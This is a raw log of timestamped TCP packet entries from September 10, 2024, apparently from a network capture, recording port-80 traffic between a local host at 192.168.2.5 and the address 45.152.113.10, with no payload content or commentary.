Sep 10, 2024 19:36:05.192042112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.192048073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.192060947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.192080975 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.192100048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.192111015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.192121983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.192131996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.192152977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.192164898 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.192910910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.192922115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.192931890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.192958117 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.192977905 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.192986012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.192996979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.193006039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.193025112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.193032980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.193043947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.193052053 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.193061113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.193073034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.193082094 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.193105936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.193126917 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.193810940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.193869114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.193973064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.194016933 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.226947069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.226965904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.226975918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.226984978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.226995945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.227006912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.227016926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.227041006 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.227066040 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.227092028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.227102041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.227108002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.227147102 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.227171898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.227217913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.227226973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.227235079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.227260113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.227272034 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.227297068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.227447987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.227498055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.227516890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.227526903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.227545023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.227560043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.227565050 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.227575064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.227585077 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.227615118 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.227790117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.227801085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.227811098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.227838993 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.227855921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.276396990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.276448011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.276458025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.276521921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.276534081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.276556969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.276565075 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.276575089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.276587009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.276597977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.276606083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.276612997 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.276623011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.276632071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.276648998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.276658058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.276668072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.276702881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.276711941 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.276721001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.276738882 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.276762962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.276771069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.276782036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.276791096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.276803017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.276813030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.276824951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.276832104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.276840925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.276859045 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.276879072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.277209044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.277230024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.277240038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.277287006 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.277307034 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.277324915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.277335882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.277345896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.277358055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.277369022 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.277400970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.277420998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.277431011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.277441025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.277456045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.277461052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.277470112 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.277493000 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.277859926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.277870893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.277882099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.277924061 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.277945995 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.277977943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.277988911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.278027058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.278100014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.278147936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.278156996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.278167963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.278196096 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.278203964 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.278223038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.278233051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.278243065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.278254032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.278269053 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.278302908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.278343916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.278354883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.278364897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.278376102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.278387070 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.278393984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.278400898 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.278410912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.278422117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.278429985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.278439999 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.278451920 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.278475046 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.279129982 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.279140949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.279153109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.279171944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.279182911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.279190063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.279201031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.279211044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.279218912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.279230118 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.279253006 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.279259920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.279270887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.279280901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.279293060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.279299974 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.279309988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.279329062 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.279345036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.279375076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.279400110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.279408932 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.279418945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.279434919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.279516935 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.280066013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.280076027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.280086040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.280124903 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.280133963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.280147076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.280152082 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.280162096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.280170918 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.280179024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.280185938 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.280201912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.280230999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.280270100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.280280113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.280289888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.280299902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.280328989 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.280342102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.280349970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.280359983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.280371904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.280384064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.280394077 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.280409098 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.280430079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.280927896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.280937910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.280947924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.280981064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.280991077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.281002998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.281014919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.281021118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.281044006 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.281060934 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.281111002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.281121016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.281131029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.281171083 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.313090086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.313297987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.313317060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.313328028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.313338995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.313349009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.313379049 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.313404083 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.313411951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.313424110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.313435078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.313445091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.313452005 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.313462973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.313494921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.313523054 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.313529015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.313546896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.313556910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.313566923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.313576937 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.313586950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.313596964 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.313604116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.313615084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.313644886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.313658953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.313683987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.313694954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.313703060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.313718081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.313724041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.313750982 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.313761950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.313776970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.313787937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.313798904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.313821077 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.313837051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.363862991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.363874912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.363886118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.363943100 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.363975048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.364007950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.364018917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.364028931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.364038944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.364051104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.364057064 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.364065886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.364078045 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.364094019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.364116907 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.364171028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.364181995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.364197016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.364207029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.364219904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.364224911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.364233971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.364245892 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.364250898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.364262104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.364272118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.364283085 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.364289045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.364299059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.364308119 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.364320040 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.364325047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.364342928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.364358902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.364588976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.364599943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.364610910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.364643097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.364660025 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.364717007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.364727974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.364739895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.364780903 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.364865065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.364876986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.364914894 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.364938974 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.364959955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.364970922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.364980936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.364990950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.365006924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.365032911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.365153074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.365163088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.365171909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.365197897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.365212917 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.365219116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.365231037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.365241051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.365252018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.365262032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.365269899 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.365292072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.365307093 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.365694046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.365704060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.365715027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.365725040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.365735054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.365741968 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.365751028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.365763903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.365772009 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.365788937 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.365812063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.365876913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.365886927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.365897894 CEST	80	49707	45.152.113.10	192.168.2.5
